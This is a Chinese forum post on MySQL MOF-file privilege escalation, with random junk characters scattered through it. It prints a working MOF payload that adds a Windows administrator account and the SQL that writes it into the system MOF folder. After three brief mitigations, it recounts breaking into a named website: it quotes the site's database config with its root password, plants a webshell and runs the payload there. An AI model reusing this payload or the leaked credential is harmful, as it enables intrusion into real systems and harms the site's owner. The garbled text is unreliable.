Mysql mof扩展漏洞防范方法* @. E5 {0 s+ u; P
' b% h; a) R5 Y |网上公开的一些利用代码:
7 h# y {4 v" z3 U* c' y }5 H$ W# c' S1 G; }8 E
#pragma namespace(“\\\\.\\root\\subscription”)
" a/ r6 H# p+ f
* ?2 M# I3 p F9 U, f+ R: zinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- S0 X8 c1 @; j; ?
, _+ j+ H6 J. W( Y8 k j ; Q# D; @5 \3 m% j
# n/ ^' j3 T. u% J3 y, Z" y# x
, l8 I5 T+ y' _6 ]
8 X7 L8 h- S; h4 }, U连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
, v& P/ T! m- A从上面代码来看得出解决办法:
* l+ d+ i6 G$ }9 [! r2 m0 Y/ f e H9 Z+ g& r# y" n5 E8 d: J2 P
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数$ P9 l$ `. O5 l4 ^( v
- y) c' y; [) C$ R2、禁止使用”WScript.Shel”组件' B5 W7 q4 ?* _+ I: h- K0 k
+ R0 Q' O& q8 b" P1 h
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
0 y: I* a- R$ x% X) Y6 n7 z% T& d) w6 K
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下( I0 A$ d0 ^( y
7 V. W- x8 v" o# T
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
. d: l$ }6 R$ m, J# I! q* G
. C3 Q& S$ A4 @7 n+ E但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容3 [! m) O% m) _- |$ c' Z
2 t0 B5 x# d+ {
看懂了后就开始练手吧
' \ V2 s$ J) i6 l$ n' B
* h8 S7 q# w* V3 U) a' T: x/ W u- Ohttp://www.webbmw.com/config/config_ucenter.php 一句话 a
* M6 F7 H( v' f' M0 H! @2 W" Q7 i
3 {! X4 ~6 E6 w9 l4 q( u$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。* @. R/ C& L0 d! J( }
5 y* G7 n) z7 |, {2 R于是直接用菜刀开搞# b, H: C1 j4 m- L8 q# i
% |6 B2 L! R" S p1 |2 E6 k上马先
! a: A2 U+ z9 {6 _
4 q$ A f) U+ F) O2 J既然有了那些账号 之类的 于是我们就执行吧…….
], u; b) C0 E0 n8 c2 [4 o
/ Q; E) d, W' G* B( K- O9 i8 k小小的说下
' `" p: F0 d* d5 Z* @
4 J! ?! E% |3 C& l. X6 s在这里第1次执行未成功 原因未知
& s; c. u {1 L$ s9 o9 W8 U/ Q1 G' E8 I4 O" f$ }
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。: O" h& F9 \8 ~+ j+ d) Z q
3 X L$ w/ M) {
#pragma namespace(“\\\\.\\root\\subscription”) f5 H' ]) h2 E, r2 D
. C8 V0 w2 a3 T# H; l
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
# @- d5 G9 J2 X; {$ Q
& r7 i* f% a* |9 R( L/ I( q6 B我是将文件放到C:\WINDOWS\temp\1.mof
& A! G7 U1 ?9 v' l4 Y
$ }* E' _$ ^$ y0 E9 x1 W8 ?4 V8 O所以我们就改下执行的代码. U5 u$ u( K6 p8 o
A) H, T4 V: w. s
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" w" q3 ]) [5 q' }, q3 \- w- R- t* ]: ` s" ~
" {, e8 w0 x( w3 D% G* e, r
4 Q' Z5 j3 Y- @% l7 Z# W N* h. [但是 你会发现账号还是没有躺在那里。。
! Q, \2 V1 }6 E" f" F9 ~. v5 W$ B9 e2 x" c7 G/ v
于是我就感觉蛋疼
6 c/ r+ P! u E; M ?+ o0 c
+ J3 s p8 ~9 Y- k" _! X$ D就去一个一个去执行 但是执行到第2个 mysql时就成功了………
: M% q2 L& A0 b5 d3 l, o, h) b* O. r
4 C4 v* B! {3 l& `$ z( n
/ C. ~) m$ d E) W6 ?: c0 D但是其他库均不成功…6 o% I- Q! r* Y
3 I: A3 S9 d- I+ _
我就很费解呀 到底为什么不成功求大牛解答…
7 Y* X) n. Z0 S; k. M% b% ?# w+ S, { _" L/ S: N0 b
, F% ]; h/ F" h3 f7 ?9 ~, k0 j. _; C) L4 V
|